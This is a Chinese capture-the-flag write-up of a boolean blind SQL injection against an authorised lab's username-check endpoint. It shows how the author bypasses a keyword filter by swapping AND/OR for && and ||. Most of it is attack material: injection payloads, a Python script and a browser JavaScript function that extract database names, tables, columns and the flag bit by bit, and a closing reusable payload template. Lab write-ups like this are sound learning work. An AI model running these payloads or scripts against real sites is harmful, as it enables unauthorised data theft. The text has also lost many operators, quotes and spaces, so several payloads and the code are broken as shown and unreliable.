SQL注入布尔盲注关键词过滤绕过靶场通关记录靶场地址白帽江湖 SQL注入布尔盲注关键词过滤绕过说明本文仅记录在该授权靶场中的测试过程用于学习布尔盲注与关键词过滤绕过的思路。1. 页面初探打开靶场页面标题 “StarMail - 注册检测”功能很直接输入用户名点击检测可用性接口返回该用户名是否已被注册页面提示了接口地址及已知用户API 接口query.php?usernamexxx 系统已有注册用户admin, zhangsan, lisi, wangwu, test_dev以及一个安全提示⚠️ 安全防护关键词过滤已启用这告诉我们该靶场对某些 SQL 关键词做了过滤需要绕过。2. 确认接口行为先访问正常接口https://range.baimaojianghu.com/lab/32001/query.php?usernameadmin返回{exists:true}再试一个不存在的用户名https://range.baimaojianghu.com/lab/32001/query.php?usernamezhangsan123返回{exists:false}这就是布尔盲注的回显信道——接口只会告诉你存在或不存在不会回显数据库内容。3. 测试关键词过滤先试一下经典的注入 payload?usernameadmin AND 11 -- -返回{blocked:true,msg:安全警告检测到危险关键词 [and]}拦截了。说明过滤规则确实存在且AND被列入了黑名单。同理测试OR?usernameadmin OR 11 -- -同理测试大小写的过滤是否存在?usernameadmin AnD 11 -- -返回{blocked:true,msg:安全警告检测到危险关键词 [and]}测试?usernameadmin oR 11 -- -返回{blocked:true,msg:安全警告检测到危险关键词 [or]}同样被拦截。那么UNION、SELECT等很可能也被过滤了。4. 绕过关键词过滤SQL 标准中AND可以用替代OR可以用||替代。这是 MySQL 支持的运算符别名。我们利用这一点绕过过滤。URL 编码后原始字符URL 编码%26%26||%7c%7c测试绕过AND?usernameadmin %26%26 11 -- -返回{exists:true}再试假条件?usernameadmin %26%26 12 -- -返回{exists:false}确认成功绕过了关键词过滤且布尔盲注条件成立。测试||绕过OR?usernameadmin %7c%7c 11 -- -返回{exists:true}两种运算符别名都可用。关键认识过滤规则是在应用层做的字符串匹配检测的是 HTTP 请求参数中是否包含and、or等关键字。而和||在 SQL 语法层面等价于AND和OR但在字符串层面不包含过滤关键字因此可以绕过。5. 一个隐藏的陷阱关键词不仅在注入点里这个靶场有个重要的细节过滤规则会检查整个输入字符串中是否包含and或or这些关键字。这意味着不仅你的注入运算符要被绕过连子查询内部的 SQL 关键字也不能出现and和or。例如下面的查询试图获取users表的字段数selectcount(*)frominformation_schema.columnswheretable_schemavuln_dbandtable_nameusers这条 SQL 里的and关键字会触发过滤。解决方案同样是——在子查询内部也把and替换成selectcount(*)frominformation_schema.columnswheretable_schemavuln_dbtable_nameusers这个替换不会改变 SQL 语义因为 MySQL 中和AND是完全等价的逻辑运算符。6. 布尔盲注实施确认注入点可用后进行标准的布尔盲注流程。6.1 确认数据库名长度先用二分法判断database()的长度?usernameadmin %26%26 length(database())5 -- - # 返回 true说明长度 5 ?usernameadmin %26%26 length(database())7 -- - # 返回 false说明长度 ≤ 7 ?usernameadmin %26%26 length(database())7 -- - # 返回 true确认数据库名长度为 76.2 逐位提取数据库名使用ascii(substr(database(),N,1))逐位提取每个字符的 ASCII 码。以第一位为例的二分过程?usernameadmin %26%26 ascii(substr(database(),1,1))110 -- - # true字符 n ?usernameadmin %26%26 ascii(substr(database(),1,1))117 -- - # true字符 u ?usernameadmin %26%26 ascii(substr(database(),1,1))118 -- - # false字符 ≤ v ?usernameadmin %26%26 ascii(substr(database(),1,1))118 -- - # true确认第一位 ASCII 118 v6.3 使用自动化脚本批量提取手动逐位提取很耗时可以用 Python 脚本自动化importrequests urlhttps://range.baimaojianghu.com/lab/32001/query.phpdefquery(payload):try:rrequests.get(url,params{username:payload},timeout10)datar.json()ifdata.get(blocked):returnNonereturndata.get(exists,False)except:returnNonedefextract_string(func_expr,length):逐位提取字符串内容resultforposinrange(1,length1):lo,hi32,126whilelohi:mid(lohi1)//2payloadfadmin ascii(substr(({func_expr}),{pos},1)){mid}-- -rquery(payload)ifrisTrue:lomidelifrisFalse:himid-1else:returnNoneresultchr(lo)print(f [{pos}/{length}] {chr(lo)} -{result})returnresult# 获取数据库名db_nameextract_string(database(),7)print(fDatabase:{db_name})也可以直接在浏览器控制台用 JavaScript 快速盲注。核心函数如下asyncfunctionblindExtract(funcExpr,length){letresult;for(letpos1;poslength;pos){letlo32,hi126;while(lohi){constmidMath.floor((lohi1)/2);constpayloadadmin ascii(substr((funcExpr),pos,1))mid -- -;constrawaitfetch(/lab/32001/query.php?usernameencodeURIComponent(payload)).then(resres.json()).then(dd.blocked?null:d.exists);if(rtrue)lomid;elseif(rfalse)himid-1;elsereturnnull;}resultString.fromCharCode(lo);}returnresult;}一个值得注意的问题二分法使用进行比较时如果目标值是n搜索过程会收敛到n-1因为n n-1为真。所以在二分结束后最好再用n验证一下或者在二分条件中用替代。最终提取到数据库名vuln_db7. 枚举表名通过information_schema.tables查表信息。注意这里也要避免在字符串中出现and、or等关键字——不过information_schema本身就包含orinformation需要测试是否会触发过滤。测试后发现information_schema并没有被拦截说明过滤规则只匹配独立的关键词而不是子字符串。查询表数量?usernameadmin %26%26 (select count(table_name) from information_schema.tables where table_schemavuln_db)2 -- - # true确认有 2 张表逐位提取表名得到表名说明users用户表secret_flags存储 flag 的表8. 枚举字段名使用information_schema.columns。这里要注意过滤规则会检查where table_schemavuln_db and table_namexxx中的and因此需要在子查询的WHERE子句中也用替代and?usernameadmin %26%26 (select count(*) from information_schema.columns where table_schemavuln_db %26%26 table_namesecret_flags)3 -- - # true3 个字段逐位提取字段名secret_flags 表字段名类型推断id主键 IDflag_name标识名称flag_valueFlag 值users 表字段名idusernamepasswordemailphonerolestatus9. 提取 flag直接查询secret_flags表中的flag_value字段?usernameadmin %26%26 (select length(flag_value) from secret_flags limit 1)26 -- - # trueflag 长度为 26逐位提取flag_value?usernameadmin %26%26 ascii(substr((select flag_value from secret_flags limit 1),1,1))102 -- - # true第 1 位 ASCII 102 f ?usernameadmin %26%26 ascii(substr((select flag_value from secret_flags limit 1),2,1))108 -- - # true第 2 位 ASCII 108 l ...最终得到flag_value: flag{b00l_0p3r4t0r_byp4ss}10. 本题完整攻击链┌──────────────┐ │ 页面分析 │ → 找到 query.php?username 注入点 ├──────────────┤ │ 测试过滤规则 │ → 发现 AND、OR、UNION 被拦截 ├──────────────┤ │ 绕过过滤 │ → 用 替代 AND用 || 替代 OR ├──────────────┤ │ 布尔盲注 │ → 通过 exists:true/false 推断数据 ├──────────────┤ │ 数据库名 │ → vuln_db ├──────────────┤ │ 表名 │ → secret_flags、users ├──────────────┤ │ 字段名 │ → flag_name、flag_value ├──────────────┤ │ 提取 flag │ → flag{b00l_0p3r4t0r_byp4ss} └──────────────┘11. 关键知识点总结11.1 MySQL 运算符别名原始关键字替代符URL 编码AND%26%26OR||%7c%7cLIKE—SUBSTRINGSUBSTR/MID—11.2 过滤绕过的原则过滤规则通常做的是字符串匹配——检查用户输入中是否包含黑名单中的子串。这就意味着大小写绕过AnD、aNd→ 通常会被统一转大写/小写后被拦截双写绕过anandd→ 部分实现不严谨的过滤会被绕过运算符别名绕过、||→ 最稳因为完全不含过滤关键字11.3 本靶场的特殊之处过滤不仅检查注入点的注入运算符子查询内部的 SQL 关键字也会被检查这意味着WHERE ax AND by中的AND也需要换成这要求攻击者对整个注入语句的每个部分都要意识到过滤的存在11.4 二分法盲注的效率比较以一个长度为 n 的字符串、每个字符可能的取值范围为 m通常 95 个可打印字符为例方法单字符请求数总请求数n26顺序遍历O(m) ≈ 95≈ 2470二分法O(log₂m) ≈ 7≈ 182效率提升了一个数量级。12. 可复用的测试模板测试注入与绕过# 无防护时的基础测试 admin AND 11 -- - admin AND 12 -- - # 有过滤时的绕过测试 admin 11 -- - admin 12 -- - admin || 11 -- -判断数据库名长度length(database())N判断数据库名字符ascii(substr(database(),N,1))M查询表# 注意子查询内部的 and 也要用 替代selectcount(table_name)frominformation_schema.tableswheretable_schemavuln_dbtable_namesecret_flags查询字段selectcount(column_name)frominformation_schema.columnswheretable_schemavuln_dbtable_namesecret_flags读取 flagselectflag_valuefromsecret_flags